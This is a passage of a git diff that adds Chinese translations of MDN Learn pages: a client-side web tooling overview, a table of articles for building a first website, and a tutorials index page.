id="指南">指南</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">1. 客户端工具概览</a></dt> + <dd>在这篇文章中,我们会简要介绍现代web工具:在web应用开发的生命周期中的何时使用何种工具,以及如何寻求帮助。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">2. 命令行速成课程</a></dt> + <dd>毫无疑问,在开发过程中,你需要在终端(或者在“命令行”,它们其实是同一个东西)中运行一些命令。这篇文章将会提供对终端的介绍,包括一些你需要输入的基本命令,如何将命令链接在一起,以及何如添加你自己的命令行(CLI)工具。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">3. 包管理基础</a></dt> + <dd>在这篇文章中,我们将会详细看一看包管理器,从而理解如何在我们自己的工程中使用它们——安装工程工具依赖、更新等等。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">4. 一个完整的工具链</a></dt> + <dd>在这个系列的最后几篇文章中,我们将会带你构建一个工具链样例,从而帮你巩固前面学到的知识。我们将从设立一个实际的开发环境开始,一路在Netlify上相应的位置放置发布你的应用所需要的转换工具。在这篇文章里,我们将介绍一个设立我们的开发环境以及代码转换工具的例子。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">5. 发布你的应用</a></dt> + <dd>在我们系列的最后一篇文章中,我们将会使用我们在前篇文章中构建的示例工具链,以便我们能够发布我们的样例应用。我们将代码推到Github,使用Netlify进行发布,甚至还会向你展示如何在这个过程中加入一个简单的测试。</dd> +</dl> diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html new file mode 100644 index 0000000000..461be03030 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/overview/index.html @@ -0,0 +1,391 @@ +--- +title: Client-side tooling overview +slug: Learn/Tools_and_testing/Understanding_client-side_tools/Overview +translation_of: Learn/Tools_and_testing/Understanding_client-side_tools/Overview +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Tools_and_testing/Understanding_client-side_tools/Command_line", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</div> + +<p class="summary">在本文中,我们提供了现代web工具的概述,有哪些工具可用,在web应用程序开发的生命周期中您将在哪里遇到它们,以及如何使用各个工具寻求帮助。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>熟悉核心HTML,CSS和JavaScript语言。</td> + </tr> + <tr> + <th scope="row">目标</th> + <td> + <section id="sect1"> + <article> + <section id="sect2"> + <p>了解有什么类型的客户端工具,以及如何找到工具并获得这些工具的帮助。</p> + </section> + </article> + </section> + </td> + </tr> + </tbody> +</table> + +<h2 id="现代工具概述">现代工具概述</h2> + +<p>随着时间的推移,为网络编写软件已经变得越来越复杂。尽管“手工”编写HTML、CSS和JavaScript仍然是完全合理的,但现在有大量的工具可供开发人员使用,以加快构建web站点或应用程序的过程。</p> + +<p>有一些非常完善的工具已经成为开发社区中常见的“家喻户晓的名字”,并且每天都在编写和发布新的工具来解决特定的问题。您甚至可能发现自己正在编写一个软件来帮助您自己的开发过程,以解决现有工具似乎无法处理的特定问题。</p> + +<p>单个项目中包含的大量工具很容易让人不知所措。同样,像Webpack这样的工具的一个配置文件可能有数百行之长,其中大多数都是神奇的咒语,似乎可以完成工作,但只有大神级工程师才能完全理解</p> + +<section id="sect3"> +<article> +<section id="sect4"> +<p>有时,即使是最有经验的web开发人员也会因为工具问题而陷入困境;甚至在接触到一行应用程序代码之前,都可能浪费数小时来尝试让工具管道工作。如果你发现自己在过去挣扎,那么用担心,你并不孤独。</p> +</section> +</article> +</section> + +<section id="sect5"></section> + +<p>在这篇文章中,我们将不会回答所有关于web工具的所有问题,但我们将为您提供一个了解基本原理的有用起点,你可以从中构建。对于任何复杂的主题,最好从小处开始,然后逐步进行更高级的使用。</p> + +<h2 id="现代工具系统">现代工具系统</h2> + +<p>当今的现代开发人员工具生态系统非常庞大,因此对这些工具正在解决的主要问题有一个大致的概念是非常有用的。如果你跳到你最喜欢的搜索引擎上,搜索“前端开发工具”,你会得到一系列的结果,从文本编辑器到浏览器,再到你可以用来做笔记的笔。</p> + +<p>虽然您选择的代码编辑器肯定是一种工具选择,但本系列文章将不止于此,重点关注帮助您更有效地生成web代码的开发人员工具。</p> + +<section id="sect6"> +<article> +<section id="sect7"> +<p>从高层次来看,您可以将客户端工具放入以下三大类需要解决的问题中:</p> +</section> +</article> +</section> + +<ul> + <li><strong>安全网络 </strong>— 在代码开发期间有用的工具。</li> + <li><strong>转换 </strong>— 以某种方式转换代码的工具,例如将一种中间语言转换为浏览器可以理解的JavaScript。</li> + <li><strong>开发后阶段</strong> — 编写完代码后有用的工具,如测试和部署工具。</li> +</ul> + +<section id="sect8"> +<article> +<section id="sect9"> +<p>让我们更详细地看看每一个。</p> +</section> +</article> +</section> + +<h3 id="安全网络">安全网络</h3> + +<section id="sect10"> +<article> +<section id="sect11"> +<p>这些工具可以使您编写的代码更好一些。</p> +</section> +</article> +</section> + +<p>这一部分的工具应该特定于您自己的开发环境,尽管对于公司来说,有某种策略或可用于安装的预备配置,以便所有开发人员都使用相同的流程的情况并不少见。</p> + +<p>这包括使您的开发过程更容易生成稳定可靠的代码的任何内容。安全网络工具还应该帮助您避免错误或自动纠正错误,而不必每次都从头开始构建代码。</p> + +<section id="sect12"> +<article> +<section id="sect13"> +<p>您将发现开发人员正在使用的一些非常常见的安全网络工具类型如下。</p> +</section> +</article> +</section> + +<h4 id="Linters">Linters</h4> + +<p><strong>Linters</strong> 是检查您的代码并告诉您存在任何错误的工具,它们是什么类型的错误,以及它们出现在哪些代码行上。通常,linters不仅可以被配置为报告错误,还可以报告任何违反您的团队可能正在使用的指定样式指南的行为(例如代码使用了错误的缩进空格数,或者使用了<a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">template literals</a> 而不是常规的字符串文本)。</p> + +<p><a href="https://eslint.org/">eslint</a> 业界标准的JavaScript linter是一种高度可配置的工具,用于捕获潜在的语法错误,并在代码中鼓励“最佳实践”。一些公司和项目也是这样 <a href="https://www.npmjs.com/search?q=keywords:eslintconfig">shared their eslint configs</a>。</p> + +<section id="sect14"> +<article> +<section id="sect15"> +<p>您还可以找到用于其他语言的linting工具,比如<a href="http://csslint.net/" style="">csslint</a>。</p> +</section> +</article> +</section> + +<section id="sect16"> +<article> +<section id="sect17"> +<p>同样值得一看的是 <a href="https://webhint.io/">webhint</a>, 一个可配置的,开放源码的网页链接,展示了最佳实践,包括可访问性,性能,跨浏览器兼容性 <a href="https://github.com/mdn/browser-compat-data">MDN's browser compatibility data</a>, 安全, PWAs测试等等。它可以作为 <a href="https://webhint.io/docs/user-guide/">Node.js command-line tool</a> 和 <a href="https://marketplace.visualstudio.com/items?itemName=webhint.vscode-webhint">VS Code extension</a>.</p> +</section> +</article> +</section> + +<h4 id="源代码控制">源代码控制</h4> + +<section id="sect18"> +<article> +<section id="sect19"> +<p>也称为版本控制系统(VCS),源代码控制对于备份工作和在团队中工作至关重要。典型的VCS包括拥有您要对其进行更改的代码的本地版本。然后将更改“推”到存储在某个服务器上的远程存储库中的代码的“主”版本。通常有一种方法来控制和协调对代码的“主”副本做了什么更改,以及什么时候做更改,这样开发团队就不会一直覆盖彼此的工作。</p> +</section> +</article> +</section> + +<p><a href="https://git-scm.com/">Git</a> 是现在大多数人使用的源代码控制系统。它主要通过命令行访问,但也可以通过友好的用户界面访问。使用git存储库中的代码,您可以将其推到自己的服务器实例中,或者使用托管的源代码控制网站,如<a href="https://github.com/">GitHub</a>, <a href="https://about.gitlab.com/">GitLab</a>, or <a href="https://bitbucket.org/product/features">BitBucket</a>.</p> + +<p>我们将在这个模块中使用GitHub。你可以在网站上找到更多关于它的信息<a href="/en-US/docs/Learn/Tools_and_testing/GitHub">Git and GitHub</a>.</p> + +<h4 id="代码格式化">代码格式化</h4> + +<p>代码格式化程序与linters有些关联,除了它们不是指出代码中的错误,而是根据你的样式规则,确保你的代码被正确格式化,理想情况下自动修复它们发现的错误。</p> + +<p><a href="https://prettier.io/">Prettier</a> 是一个非常流行的代码格式化程序示例,稍后我们将在模块中使用它。</p> + +<h4 id="打包工具">打包工具</h4> + +<section id="sect20"> +<article> +<section id="sect21"> +<p>这些工具让你的代码准备生产,例如,通过tree-shaking来确保只有实际使用的代码库的部分被放到最终的生产代码中,或“缩减”删除所有空格在生产代码中,使其尽可能小之前上传到服务器。</p> +</section> +</article> +</section> + +<p><a href="https://parceljs.org/">Parcel</a> 是一个特别好用的工具,都属于这个类别可以完成上面的任务,但也有助于资产包像HTML, CSS和图像文件方便的包,你可以继续部署,也为您自动添加依赖项当你试着使用它们。它甚至可以为您处理一些代码转换任务。</p> + +<p><a href="https://webpack.js.org/">Webpack</a> 是一个非常流行的代码格式化程序示例,稍后我们将在模块中使用它。</p> + +<h3 id="转换">转换</h3> + +<section id="sect22"> +<article> +<section id="sect23"> +<p>web应用程序生命周期的这个阶段通常允许您编写“未来代码”(比如最新的CSS或JavaScript特性,这些特性可能还没有得到浏览器的本地支持),或者完全使用另一种语言编写代码,比如 <a href="https://www.typescriptlang.org/">TypeScript</a>. 转换工具将为您生成与浏览器兼容的代码,以用于生产。</p> +</section> +</article> +</section> + +<section id="sect24"> +<article> +<section id="sect25"> +<p>通常web开发被认为是三种语言: <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, 所有这些语言都有转换工具。转换提供了两个主要好处(还有其他好处)</p> +</section> +</article> +</section> + +<ol> + <li>能够使用最新的语言特性编写代码,并将其转换为可在日常设备上使用的代码。例如,您可能希望使用尖端的新语言特性来编JavaScript,但是您的最终产品代码仍然可以在不支持这些特性的旧浏览器上工作。例如: + <ul> + <li><a href="https://babeljs.io/">Babel</a>:一个JavaScript编译器,允许开发人员使用最前沿的JavaScript编写代码,然后Babel将其转换为老式的JavaScript,让更多的浏览器能够理解。开发人员也可以编写和发布<a href="https://babeljs.io/docs/en/plugins" style="">plugins for Babel</a><span style="">.</span></li> + <li><a href="https://postcss.org/">PostCSS</a>:和Babel做同样的事情,但是有先进的CSS特性。如果没有相同的方法使用旧的CSS特性来做一些事情,PostCSS将安装一个JavaScript填充来模拟您想要的CSS效果。 + <section id="sect26"></section> + </li> + </ul> + </li> + <li>选择用一种完全不同的语言编写代码,并将其转换为与web兼容的语言。例如: + <ul> + <li><a href="https://sass-lang.com/">Sass/SCSS</a>:这个CSS扩展允许您使用变量、嵌套规则、混合、函数和许多其他特性,其中一些特性在本地CSS中是可用的(比如变量),而另一些则不是。</li> + <li><a href="https://www.typescriptlang.org/">TypeScript</a>:TypeScript是JavaScript的一个超集,它提供了一堆额外的特性。TypeScript编译器在生成产品时将TypeScript代码转换为JavaScript。</li> + <li>框架例如 <a href="https://reactjs.org/">React</a>, <a href="https://emberjs.com/">Ember</a>, and <a href="https://vuejs.org/">Vue</a>:框架提供了许多免费的功能,并允许您通过构建在普通JavaScript之上的自定义语法来使用它们。在后台,框架的JavaScript代码努力解释这个定制语法,并将其呈现为最终的web应用程序。</li> + </ul> + </li> +</ol> + +<h3 id="开发后阶段">开发后阶段</h3> + +<section id="sect27"> +<article> +<section id="sect28"> +<p>开发后阶段工具可以确保您的软件能够访问web并继续运行。这包括部署流程、测试框架、审计工具等等。</p> +</section> +</article> +</section> + +<section id="sect29"> +<article> +<section id="sect30"> +<p>在开发过程的这个阶段,您希望与之进行最少的主动交互,这样,一旦配置完毕,它基本上是自动运行的,只有在出现错误时才弹出窗口打招呼。</p> +</section> +</article> +</section> + +<h4 id="测试工具">测试工具</h4> + +<section id="sect31"> +<article> +<section id="sect32"> +<p>它们通常采用一种工具的形式,该工具将自动对您的代码运行测试,以确保在进行进一步操作之前它是正确的(例如,当您试图将更改推送到GitHub repo时)。这可能包括linting,但也包括更复杂的过程,如单元测试,在这里运行部分代码,以确保它们按照应有的方式运行。</p> +</section> +</article> +</section> + +<ul> + <li> + <section id="sect33"> + <article> + <p>框架包括编写测试<a href="https://jestjs.io/" style="">Jest</a><span style="">, </span><a href="https://mochajs.org/" style="">Mocha</a><span style="">, 和 </span><a href="https://jasmine.github.io/" style="">Jasmine</a><span style="">.</span></p> + </article> + </section> + </li> + <li> + <section id="sect34"> + <article> + <section id="sect35"> + <p>自动测试运行和通知系统包括<a href="https://travis-ci.org/" style="">Travis CI</a><span style="">, </span><a href="https://jenkins.io/" style="">Jenkins</a><span style="">, </span><a href="https://circleci.com/" style="">Circle CI</a><span style="">, 和 </span><a href="https://en.m.wikipedia.org/wiki/List_of_build_automation_software#Continuous_integration" style="">others</a><span style="">.</span></p> + </section> + </article> + </section> + </li> +</ul> + +<h4 id="配置工具">配置工具</h4> + +<p>配置系统允许您发布网站,可用于静态和动态站点,通常与测试系统一起工作。例如,典型的工具链会等待您将更改推送到远程回购,运行一些测试以查看更改是否正确,然后如果测试通过,则自动将您的应用程序部署到生产站点。</p> + +<p><a href="https://netlify.com">Netlify</a> 是目前最流行的部署工具之一,但其他包括<a href="https://vercel.com/" style="">Vercel</a><span style=""> 和</span><span style=""> </span><a href="https://pages.github.com/" style="">Github Pages</a><span style="">.</span></p> + +<h4 id="其他的">其他的</h4> + +<section id="sect36"> +<article> +<section id="sect37"> +<p>在开发后期阶段,还有许多其他可用的工具类型,包括 <a href="https://codeclimate.com/">Code Climate</a> 对于收集代码质量度量, <a href="https://webhint.io/docs/user-guide/extensions/extension-browser/">webhint browser extension</a> 用于执行跨浏览器兼容性的运行时分析和其他检查, <a href="https://probot.github.io/">Github bots</a> 提供更强大的GitHub功能, <a href="https://updown.io/">Updown</a> 提供应用程序运行时间监控等等。</p> +</section> +</article> +</section> + +<h3 id="工具种类的想法">工具种类的想法</h3> + +<section id="sect38"> +<article> +<section id="sect39"> +<p>在开发生命周期中应用不同的工具类型当然是有顺序的,但请放心,您不必在发布一个网站时将所有这些工具都准备就绪。事实上,你不需要这些。然而,在您的过程中包括这些工具将改善您自己的开发体验,并可能提高代码的总体质量。</p> +</section> +</article> +</section> + +<section id="sect40"> +<article> +<section id="sect41"> +<p>新的开发人员工具通常需要一段时间才能适应其复杂性。Webpack是最著名的工具之一,它以使用起来过于复杂而著称,但是在最新的主要版本中,它大力简化了常用的用法,因此所需的配置被减少到绝对最小。</p> +</section> +</article> +</section> + +<section id="sect42"> +<article> +<section id="sect43"> +<p>绝对没有银弹可以保证工具的成功,但是随着你经验的增加,你会发现适合你或者你的团队和他们的项目的工作流程。一旦过程中所有的扭结被平展,你的工具链应该是你可以忘记的东西,它应该只是工作。</p> +</section> +</article> +</section> + +<h2 id="如何选择并寻求特殊工具的帮助">如何选择并寻求特殊工具的帮助</h2> + +<section id="sect44"> +<article> +<section id="sect45"> +<p>大多数工具往往是独立编写和发布的,因此,尽管几乎可以肯定有可用的帮助,但它们的位置或格式永远不会相同。因此,很难找到使用工具的帮助,甚至很难选择使用什么工具。关于哪些是最好的工具的知识是有点部落式的,这意味着如果您还没有进入web社区,就很难确定到底应该使用哪些工具!这是我们编写本系列文章的原因之一,希望能够提供其他方法难以找到的第一步。</p> +</section> +</article> +</section> + +<section id="sect46"> +<article> +<section id="sect47"> +<p>您可能需要以下内容的组合</p> +</section> +</article> +</section> + +<ul> + <li> + <section id="sect48"> + <article> + <section id="sect49"> + <p>有经验的老师、导师、同学或有一定经验的同事以前解决过这类问题,并能提出建议。</p> + </section> + </article> + </section> + </li> + <li> + <section id="sect50"> + <article> + <section id="sect51"> + <p>一个有用的特定地方搜索。对前端开发人员工具的一般web搜索通常是无用的,除非您已经知道您正在搜索的工具的名称。</p> + </section> + </article> + </section> + + <ul> + <li> + <section id="sect52"> + <article> + <section id="sect53"> + <p>例如,如果您正在使用npm包管理器来管理依赖项,那么转到<a href="https://www.npmjs.com/" style="">npm homepage</a><span style=""> </span>并搜索您正在寻找的工具的类型,例如,如果您想要日期格式化实用程序,请尝试搜索“date”,如果您想要搜索通用代码格式化程序,则尝试搜索“formatter”。请注意流行度、质量和维护分数,以及软件包最近更新的时间。还可以点击工具页面,了解每个包每月有多少下载,以及它是否有好的文档,可以用来了解它是否完成了您需要它做的事情。以这些标准为基础<a href="https://www.npmjs.com/package/date-fns" style="">date-fns library</a><span style=""> </span>看起来是一个很好的日期格式化工具。在本模块的第3章中,您将看到这个工具的实际应用,并了解更多关于包管理器的信息。</p> + </section> + </article> + </section> + </li> + <li>如果您正在寻找将工具功能集成到代码编辑器中的插件,请查看代码编辑器的“插件/扩展名”页面-请参阅 <a href="https://atom.io/packages">Atom packages</a> and <a href="https://marketplace.visualstudio.com/VSCode">VSCode extensions</a>,为例。看一看首页上的特色扩展,然后再次尝试搜索你想要的扩展类型(或者工具名称,例如在VSCode扩展页面上搜索“eslint”)。当你得到结果的时候,看看这个扩展有多少颗星或者下载了多少,作为它质量的一个指标。 + <section id="sect54"></section> + </li> + </ul> + </li> + <li> + <section id="sect55"> + <article> + <section id="sect56"> + <p>例如,与开发相关的论坛,询问关于使用什么工具的问题<a href="https://discourse.mozilla.org/c/mdn/learn" style="">MDN Learn Discourse</a><span style="">, or </span><a href="https://stackoverflow.com/" style="">Stack Overflow</a><span style="">.</span></p> + </section> + </article> + </section> + </li> +</ul> + +<section id="sect57"> +<article> +<section id="sect58"> +<p>当您选择要使用的工具时,第一个端口应该是工具项目主页。这可能是一个完整的网站,也可能是代码库中的一个readme文档。例如 <a href="https://date-fns.org/docs/Getting-Started">date-fns docs</a>就很好、很完整、很容易理解。然而,有些文档可能相当技术性和学术性,并不适合您的学习需求。</p> +</section> +</article> +</section> + +<section id="sect59"> +<article> +<section id="sect60"> +<p>相反,您可能希望找到一些关于如何开始使用特定类型的工具的专门教程。好的起点是搜索网站喜欢<a href="https://css-tricks.com/" style="">CSS Tricks</a><span style="">, </span><a href="https://dev.to/" style="">Dev</a><span style="">, </span><a href="https://www.freecodecamp.org/" style="">freeCodeCamp</a><span style="">, and </span><a href="https://www.smashingmagazine.com/" style="">Smashing Magazine</a><span style="">, </span>因为它们是为web开发行业量身定做的。</p> +</section> +</article> +</section> + +<section id="sect61"> +<article> +<section id="sect62"> +<p>同样,在搜索适合自己的工具时,您可能会使用几种不同的工具,试用它们,看看它们是否有意义,是否得到良好的支持,并执行您希望它们执行的任务。这很好,这对学习很有好处,而且随着你获得更多经验,道路会变得更平坦。</p> +</section> +</article> +</section> + +<h2 id="总结">总结</h2> + +<section id="sect63"> +<article> +<section id="sect64"> +<p>以上是我们对客户端web工具主题的简要介绍的最后一部分。接下来,我们将为您提供一个关于命令行的速成课程,许多工具都是从命令行调用的。我们将看一看命令行可以做什么,然后尝试安装和使用我们的第一个工具。</p> +</section> +</article> +</section> + +<p>{{NextMenu("Learn/Tools_and_testing/Understanding_client-side_tools/Command_line", "Learn/Tools_and_testing/Understanding_client-side_tools")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Client-side tooling overview</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">Command line crash course</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">Package management basics</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">Introducing a complete toolchain</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">Deploying our app</a></li> +</ul> diff --git a/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html b/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html new file mode 100644 index 0000000000..ed511a8b9b --- /dev/null +++ b/files/zh-cn/learn/tutorial/how_to_build_a_web_site/index.html @@ -0,0 +1,171 @@ +--- +title: 如何建设一个网站 +slug: Learn/tutorial/How_to_build_a_web_site +translation_of: Learn +--- +<p> 当我们在学习网页设计时,许多人都希望尽快建设一个属于自己的网站。为了让你建站之路更平坦,我们已经缩小了你所需要的最低限度的知识。</p> + +<p>我们建议你先从这儿的文章开始 ,认真学习它们,如果你在学习中有关术语的问题,请用我们的<a href="/en-US/docs/Glossary">词汇表</a>.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row" style="text-align: center;"> </th> + <th scope="col" style="text-align: center;">理论<br> + 知识</th> + <th scope="col" style="text-align: center;">技术<br> + 知识</th> + <th scope="col" style="text-align: center;">实践<br> + 知识</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row" style="text-align: center;">1</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Thinking_before_coding">开始你的web项目</a></strong><br> + <em>在这篇文章中我们首先讨论了在任何一个项目中你所必要的一步:确定你要完成什么和为什么.</em></td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">2</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/How_the_Internet_works">英特网是如何工作的</a></strong><br> + <em>这篇文章将为你解释什么是英特网以及它是如何工作的。</em></td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">3</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine"> 了解网页、网站、服务器、以及搜索引擎之间的不同</a></strong></td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/What_is_a_web_server">网络服务器是什么?</a></strong><br> + <em>在这篇文章中,我们将要论述什么是网络服务器,它们是如何运作的以及它们为什么如此重要.</em></td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/What_software_do_I_need">我们需要什么软件(它们用来干什么)?</a></strong><br> + <em>在文中我们将要介绍你在编辑网页,上传文件,以及管理网站中你需要什么软件。</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">4</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Understanding_links_on_the_web">了解网络上的链接</a></strong><br> + <em>在文章中, 我们将详细的论述网络链接, 这个在万维网中相当重要的一个角色.</em></td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">5</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Understanding_URLs">了解URLs以及它们的构成</a></strong><br> + <em>在这篇文章中,我们将介绍URLs是什么(同一资源定位器)以及它们是如何构成的。</em></td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Understanding_domain_names">认识域名</a></strong><br> + <em>在这篇文章中,我们将对域名留下深刻印象:域名是什么,它们如何构成,以及怎样获取一个域名。</em></td> + <td style="vertical-align: top;"> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">6</th> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Anatomy_of_a_web_page">剖析一个网页</a></strong><br> + <em>当你在做你自己的网站时,你最好知道一些普通的设计</em>.</td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/How_much_does_it_cost">在网上做些什么花费多少钱?</a></strong><br> + <em>涉及到互联网的东西并不像它看起来那么便宜。在文中我们将论述你可能花费多少钱以及为什么。</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">7</th> + <td style="vertical-align: top;"><a href="/en-US/docs/Learn/The_basics_of_web_design">设计之外,基础的网页设计</a></td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Choose,_Install_and_set_up_a_text_editor">选择下载安装一个编辑器</a></strong><br> + <em>在这篇文章中,我们强调一些事情关于下载安装编译器用于网站开发。</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">8</th> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Set_up_a_basic_working_environment">创建一个基本的工作环境</a></strong><br> + <em>这篇文章让你用工作站建立你的网站</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">9</th> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/HTML/Write_a_simple_page_in_HTML">用HTML写一个简单的网页</a></strong><br> + <em>学习如何创造一个简单的网页。</em></td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Open_a_file_in_a_browser">打开文件在你的浏览器中r</a></strong><br> + <em>这篇文章讲解了在浏览器中通过各种方式接入文件,以及这种正确的方式为什么如此重要。</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">10</th> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/HTML/HTML_tags">什么是HTML标签&如何使用它们</a></strong><br> + <em>这篇文章包含了 <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/HTML" title="HTML: The HyperText Markup Language (HTML) is a descriptive language specifically designed to structure web pages.">HTML</a> 基础:什么是标签以及如何使用它们。</em></td> + <td style="vertical-align: top;"><strong><a href="/en-US/docs/Learn/Upload_files_to_a_web_server">上传文件到服务器</a></strong><br> + <em>本文介绍了如何使用FTP工具发布你的网站</em></td> + </tr> + <tr> + <th scope="row" style="text-align: center;">11</th> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> </td> + <td style="vertical-align: top;"> + <p><strong><a href="/en-US/docs/Learn/Checking_that_your_web_site_is_working_properly">检查你的网站是否工作正常</a></strong><br> + <em>本指南概述了一些找到并修复常见错误的策略</em></p> + </td> + </tr> + </tbody> +</table> + +<p>这些是都是你需要的第一个网站学习的基本知识,但如果你想做出更高端更专业的网站,请继续往下读:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="row" style="text-align: center;"> </th> + <th scope="col" style="text-align: center;">理论<br> + 知识</th> + <th scope="col" style="text-align: center;">技术<br> + 知识</th> + <th scope="col" style="text-align: center;">实践<br> + 知识</th> + </tr> + </thead> + <tbody> + <tr> + <th scope="row" style="text-align: center;">12</th> + <td><a href="/en-US/docs/Learn/What_do_people_need_for_viewing_my_website">人们需要什么才能查看你的网站</a></td> + <td> </td> + <td> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">13</th> + <td> </td> + <td><strong><a href="/en-US/docs/Learn/CSS/Using_CSS_in_a_web_page">在你的网页中使用CSS</a></strong><br> + <em>本文将介绍如何使用CSS样式表来改变你的网页样式</em></td> + <td> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">14</th> + <td><strong><a href="/en-US/docs/Learn/What_is_accessibility">什么是无障碍性网页</a></strong><br> + <em>本文介绍了无障碍性网页背后的基本概念。</em></td> + <td><strong><a href="/en-US/docs/Learn/CSS/CSS_properties">什么是CSS属性以及该如何使用它们</a></strong><br> + <em>CSS特性应该如何使用。本文介绍了图和使用CSS属性选择器应用HTML元素</em></td> + <td> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">15</th> + <td><strong><a href="/en-US/docs/Learn/Design_for_all_types_of_users_101">为各类用户设计101</a></strong><br> + <em>本文提供了基本的无障碍性网站技巧</em></td> + <td> + <p><strong><a href="/en-US/docs/Learn/CSS/Basic_text_styling_in_CSS">CSS基本的文字排版</a></strong><br> + <em>最常见的CSS属性概述</em></p> + </td> + <td> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">16</th> + <td> </td> + <td><a href="/en-US/docs/Learn/Using_images">使用图片</a></td> + <td> </td> + </tr> + <tr> + <th scope="row" style="text-align: center;">17</th> + <td><a href="/en-US/docs/Learn/Common_pitfalls_to_avoid_in_web_design">避开在网页设计中的常见陷阱</a></td> + <td><a href="/en-US/docs/Learn/Basics_of_UX_Design">用户体验(UX)基础</a></td> + <td><a href="/en-US/docs/Learn/Design_of_navigation_menus">设计导航菜单</a></td> + </tr> + </tbody> +</table> + +<p> </p> diff --git a/files/zh-cn/learn/tutorial/index.html b/files/zh-cn/learn/tutorial/index.html new file mode 100644 index 0000000000..d2faf18878 --- /dev/null +++ b/files/zh-cn/learn/tutorial/index.html @@ -0,0 +1,38 @@ +--- +title: Tutorials +slug: Learn/tutorial +tags: + - Index + - NeedsTranslation + - TopicStub +translation_of: Learn +--- +<p>It's great to know about Web technologies and the concepts behind them, but at some point it's time to turn theory into practice. We've set up some pathways that will help you get results with Web technology and enjoy the power you unlock as you learn!</p> + +<div class="row topicpage-table"> +<div class="section" style="width: 568px;"> +<h2 id="The_basics" style="line-height: 30px; font-size: 2.14285714285714rem;">The basics</h2> + +<p>These are the essentials to follow if you're starting out with Web development.</p> + +<dl> + <dt><a href="/en-US/Learn/tutorial/How_to_build_a_web_site">How to build a website</a></dt> + <dd>This tutorial leads you through all the steps to building a website from scratch.</dd> + <dt><a href="/en-US/Learn/tutorial/Information_Security_Basics">Information Security Basics</a></dt> + <dd>This tutorial explains the basic principles of information security and how to apply them, especially in cryptography.</dd> +</dl> +</div> + +<div class="section" style="width: 593px;"> +<h2 id="In_depth" style="line-height: 30px; font-size: 2.14285714285714rem;">In depth</h2> + +<p>The following provides more advanced use cases for seasoned web developers.</p> + +<dl> + <dt><a href="/en-US/Apps/Quickstart/Build">Building Web Apps</a></dt> + <dd>Web Apps are applications that run in a web browser, and you need specific knowledge to become adept at building them. Find out everything you need to know here on MDN!</dd> +</dl> +</div> +</div> + +<p> </p> diff --git a/files/zh-cn/learn/web_mechanics/index.html b/files/zh-cn/learn/web_mechanics/index.html new file mode 100644 index 